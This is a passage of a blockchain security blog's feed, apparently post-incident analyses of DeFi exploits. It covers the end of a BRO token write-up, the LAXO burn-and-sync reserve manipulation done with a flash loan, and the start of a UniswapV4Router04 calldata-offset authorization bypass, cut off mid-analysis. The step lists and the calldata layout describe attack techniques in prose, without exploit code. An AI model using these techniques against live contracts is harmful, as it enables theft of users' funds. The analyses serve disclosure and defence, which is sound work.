1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>In the end, the attacker accumulated approximately <strong>567M BRO tokens</strong>. He then exchanged only <strong>165M BRO for 38 SolvBTC</strong>, and subsequently used <strong>Uniswap</strong> to swap the SolvBTC for <strong>1,211 WETH</strong>, which was ultimately converted to <strong>ETH and transferred back to his EOA wallet</strong>.</p><h1>Summary</h1><p>In this exploit, attacker took advantage of a flaw in the contract logic to repeatedly manipulate the mint and redemption process and extract funds from the system. To reduce the risk of similar incidents, DeFi protocols should adopt strong security practices throughout development. This includes conducting comprehensive <strong>smart contract audits by reputable security firms</strong>, implementing thorough testing (especially for mint, burn, and accounting logic), and adding safeguards such as monitoring and emergency controls. Regular security reviews and audits are particularly important for complex financial contracts, as they can help detect subtle logic flaws before deployment.</p>]]></content:encoded></item><item><title><![CDATA[LAXO Token Exploit: AMM Reserve Manipulation via Burn Mechanism]]></title><description><![CDATA[On February 22, 2026, the LAXO token on Binance Smart Chain (BSC) was exploited through a flaw in its token transfer logic and burn mechanism.]]></description><link>https://blog.verichains.io/p/laxo-token-exploit-amm-reserve-manipulation</link><guid isPermaLink="false">https://blog.verichains.io/p/laxo-token-exploit-amm-reserve-manipulation</guid><dc:creator><![CDATA[lifebow]]></dc:creator><pubDate>Tue, 10 Mar 2026 03:07:34 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!XZCb!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F20abd958-d8c9-49ef-8c21-44117564e63e_1280x1280.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On <strong>February 22, 2026</strong>, the <strong>LAXO token</strong> on <strong>Binance Smart Chain (BSC)</strong> was exploited through a flaw in its token transfer logic and burn mechanism. The vulnerability allowed an attacker to manipulate the reserve accounting of the <strong>LAXO/USDT </strong>PancakeSwap liquidity pool.</p><h2>Incident Overview</h2><p><strong>Date:</strong> Feb 22, 2026</p><p><strong>Platform:</strong> Binance Smart Chain (BSC)</p><p><strong>Attacker Address:</strong> 0x17f9132E66A78b93195b4B186702Ad18Fdcd6E3D</p><p><strong>Attack Contract</strong>: 0x6588ACB7dd37887C707C08AC710A82c9F9A7C1E9</p><p><strong>Laxo Token Contract:</strong> 0x62951CaD7659393BF07fbe790cF898A3B6d317CB</p><p><strong>Attack Transaction:</strong> 0xd58f3ef6414b59f95f55dae1acb3d5d6e626acf5333917c6d43fe422d98ac7d3</p><p></p><h2>Exploit Mechanics</h2><p>All steps below were executed within a single transaction by the attack contract:</p><ol><li><p>Borrowed <strong>350k USDT</strong> from a PancakeSwap V3 pool using a <strong>flash loan</strong>.</p></li><li><p>Bought a large amount of <strong>LAXO tokens</strong> from the <strong>LAXO/USDT pool</strong>, temporarily stored them in <strong>PancakeRouter</strong>.</p></li><li><p>Added a small amount of liquidity (<strong>BNB and LAXO</strong>) and immediately removed it.</p><p>This trick allowed the attacker to retrieve the temporarily stored tokens from PancakeRouter and avoid the swap fee from step 2.</p></li><li><p>Sold all <strong>LAXO tokens</strong> back into the <strong>LAXO/USDT pool</strong>.</p><p>This action triggered the <strong>burn mechanism</strong>, which incorrectly updated the reserves in the PancakeSwap pool. The attacker was then able to withdraw <strong>487k USDT</strong>.</p></li><li><p>Repaid <strong>350,175 USDT</strong> to the PancakeSwap V3 pool to settle the flash loan.</p></li></ol><h3><strong>Root Cause Analysis</strong></h3><p>The root issue occurs in <strong>step 4</strong>, where the PancakeSwap pool updates its reserves incorrectly.</p><p>A deeper look into the <code>_transfer</code> internal function of the LAXO token reveals a <strong>burn mechanism triggered when users sell tokens</strong>. The problem lies in the <strong>position of the </strong><code>sync</code><strong> call</strong>.</p><p>The contract executes <code>sync</code> <strong>after transferring tokens from the pair to the dead address</strong> (burn). The <code>sync</code> function updates the pair reserves based on the <strong>remaining LAXO and USDT balances</strong> in the pair contract.</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EarB!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EarB!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 424w, https://substackcdn.com/image/fetch/$s_!EarB!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 848w, https://substackcdn.com/image/fetch/$s_!EarB!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 1272w, https://substackcdn.com/image/fetch/$s_!EarB!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EarB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png" width="670" height="475" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/dd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:475,&quot;width&quot;:670,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:108875,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/190367401?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EarB!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 424w, https://substackcdn.com/image/fetch/$s_!EarB!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 848w, https://substackcdn.com/image/fetch/$s_!EarB!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 1272w, https://substackcdn.com/image/fetch/$s_!EarB!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fdd833440-6509-4f6f-a9aa-84b40b7ad15c_670x475.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The sync action occurs immediately after burning, causing the pair to record incorrect reserves. This inflates the LAXO reserve value, enabling the attacker to extract excess USDT from the pool when selling the remaining LAXO tokens.</p><p></p><h2>Conclusion</h2><p>The LAXO exploit highlights the risks of improper token logic interacting with AMM liquidity pools. A misordered burn operation and <code>sync</code> call caused the PancakeSwap pair to record incorrect reserves. This broke the pool&#8217;s reserve accounting and allowed the attacker to extract excess USDT. The incident shows that token mechanisms such as burns or fees must be carefully designed to avoid interfering with pool reserve updates. Projects should thoroughly review and test how their token contracts interact with AMM pools to ensure reserve calculations remain accurate and secure.</p>]]></content:encoded></item><item><title><![CDATA[Solidity's Hidden Flexibility: How ABI Encoding Assumptions Led to an Exploit]]></title><description><![CDATA[UniswapV4Router04 Exploit]]></description><link>https://blog.verichains.io/p/soliditys-hidden-flexibility-how</link><guid isPermaLink="false">https://blog.verichains.io/p/soliditys-hidden-flexibility-how</guid><dc:creator><![CDATA[TK]]></dc:creator><pubDate>Wed, 04 Mar 2026 08:21:50 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!EzCt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>On March 3, 2026, a vulnerability was exploited in the <strong>UniswapV4Router04</strong> contract deployed by <strong>z0r0z.eth</strong> on Ethereum, resulting in an approximate loss of <strong>$42.1K</strong>. The attacker exploited a hardcoded <strong>calldata</strong> <strong>offset</strong> in an inline assembly authorization check, bypassing the payer verification and draining USDC from a victim who had previously approved the router.</p><h2><strong>Overview</strong></h2><p><strong>Vulnerable Contract:</strong> <a href="https://etherscan.io/address/0x00000000000044a361ae3cac094c9d1b14eece97">0x00000000000044a361ae3cac094c9d1b14eece97</a></p><p><strong>Exploit TX:</strong> <a href="https://etherscan.io/tx/0xfe34c4beee447de536bbd3d613aa0e3aa7eeb63832e9453e4ef3999924ab466a">0xfe34c4beee447de536bbd3d613aa0e3aa7eeb63832e9453e4ef3999924ab466a</a></p><h2><strong>Exploit Analysis</strong></h2><p>The <strong>UniswapV4Router04</strong> provides multiple swap functions. Most of these functions safely hardcode <code>payer: msg.sender</code> into the <code>BaseData</code> struct, ensuring only the caller&#8217;s tokens can be spent. However, one overload - <code>swap(bytes calldata data, uint256 deadline)</code> - accepts pre-encoded data directly from the caller and uses inline assembly for authorization. This is where the vulnerability lies.</p><h3><strong>The Vulnerable Function</strong></h3><p>The <code>swap(bytes,uint256)</code> function contains an inline assembly authorization check intended to verify that the <code>payer</code> field inside the encoded <code>BaseData</code> struct equals <code>msg.sender</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!EzCt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!EzCt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 424w, https://substackcdn.com/image/fetch/$s_!EzCt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 848w, https://substackcdn.com/image/fetch/$s_!EzCt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 1272w, https://substackcdn.com/image/fetch/$s_!EzCt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!EzCt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png" width="1456" height="576" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:576,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:167754,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/189854596?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!EzCt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 424w, https://substackcdn.com/image/fetch/$s_!EzCt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 848w, https://substackcdn.com/image/fetch/$s_!EzCt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 1272w, https://substackcdn.com/image/fetch/$s_!EzCt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff6aba882-5601-44fb-b44d-30b486ac3b1b_1740x688.png 1456w" sizes="100vw" fetchpriority="high"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>The comment says it is &#8220;<em>equivalent to </em><code>require(abi.decode(data, (BaseData)).payer == msg.sender, Unauthorized())</code>&#8220; - but it is <strong>not</strong>.</p><h3><strong>Why </strong><code>calldataload(164)</code><strong>?</strong></h3><p>The developer assumed the standard (canonical) ABI encoding layout for <code>swap(bytes,uint256)</code>. Under that assumption, the calldata is structured as:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;markdown&quot;,&quot;nodeId&quot;:&quot;763ad687-b8d5-4273-a873-29ff9d7b2b04&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-markdown">| Byte Offset | Size | Content |
|---|---|---|
| `0&#8211;3` | 4 bytes | Function selector |
| `4&#8211;35` | 32 bytes | Offset to `bytes data` (assumed `0x40` = 64) |
| `36&#8211;67` | 32 bytes | `uint256 deadline` |
| `68&#8211;99` | 32 bytes | Length of `bytes data` |
| `100&#8211;131` | 32 bytes | `BaseData.amount` |
| `132&#8211;163` | 32 bytes | `BaseData.amountLimit` |
| **`164&#8211;195`** | **32 bytes** | **`BaseData.payer`** &#8592; `calldataload(164)` reads here |</code></pre></div><p>So <code>calldataload(164)</code> reads exactly <code>BaseData.payer</code> - but <strong>only</strong> when the <code>bytes data</code> parameter starts at the standard offset of <code>0x40</code> (64).</p><h3><strong>ABI Encoding Permits Non-Standard Offsets</strong></h3><p>According to the <a href="https://docs.soliditylang.org/en/latest/abi-spec.html#formal-specification-of-the-encoding">Solidity ABI Specification</a>, dynamic types like <code>bytes</code> are not encoded in-place. Instead, the head part contains an <strong>offset pointer</strong> to where the data actually begins:</p><blockquote><p><em>&#8220;For dynamic types, head(X(i)) is the offset of the beginning of tail(X(i)) relative to the start of enc(X).&#8221;</em></p></blockquote><p>The Solidity ABI decoder <strong>follows this offset pointer</strong> to locate the data. Critically, the ABI specification does not require the offset to be the minimum possible value. From the <a href="https://docs.soliditylang.org/en/latest/abi-spec.html#strict-encoding-mode">Strict Encoding Mode</a> section:</p><blockquote><p><em>&#8220;Strict encoding mode is the mode that leads to exactly the same encoding as defined in the formal specification above. This means that offsets have to be as small as possible while still not creating overlaps in the data areas, and thus no gaps are allowed.&#8221;</em></p><p><em>&#8220;Usually, ABI decoders are written in a straightforward way by just following offset pointers, but some decoders might enforce strict mode. The Solidity ABI decoder currently does not enforce strict mode, but the encoder always creates data in strict mode.&#8221;</em></p></blockquote><p>This means the Solidity decoder happily accepts calldata where the <code>bytes data</code> parameter starts at <strong>any valid offset</strong> - not just <code>0x40</code>. An attacker can set the offset to a larger value, shifting where the actual <code>BaseData</code> struct is located in the calldata, while placing their own address at the fixed position 164.</p><h3><strong>The Disconnect</strong></h3><p>After the assembly check passes, the function calls <code>_unlockAndDecode(data)</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!uLCF!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!uLCF!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 424w, https://substackcdn.com/image/fetch/$s_!uLCF!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 848w, https://substackcdn.com/image/fetch/$s_!uLCF!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 1272w, https://substackcdn.com/image/fetch/$s_!uLCF!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!uLCF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png" width="1264" height="384" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/c8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:384,&quot;width&quot;:1264,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73538,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/189854596?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!uLCF!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 424w, https://substackcdn.com/image/fetch/$s_!uLCF!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 848w, https://substackcdn.com/image/fetch/$s_!uLCF!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 1272w, https://substackcdn.com/image/fetch/$s_!uLCF!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fc8a4248e-cb7e-41d6-aa2f-b559efa53c72_1264x384.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Inside the unlock callback, the data is decoded using Solidity&#8217;s standard <code>abi.decode</code>:</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!5Mau!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!5Mau!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 424w, https://substackcdn.com/image/fetch/$s_!5Mau!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 848w, https://substackcdn.com/image/fetch/$s_!5Mau!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 1272w, https://substackcdn.com/image/fetch/$s_!5Mau!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!5Mau!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png" width="1430" height="112" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/edf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:112,&quot;width&quot;:1430,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:42747,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://blog.verichains.io/i/189854596?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fedf23439-48ed-4bd7-a678-fa0cd5cfa81b_1430x112.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" 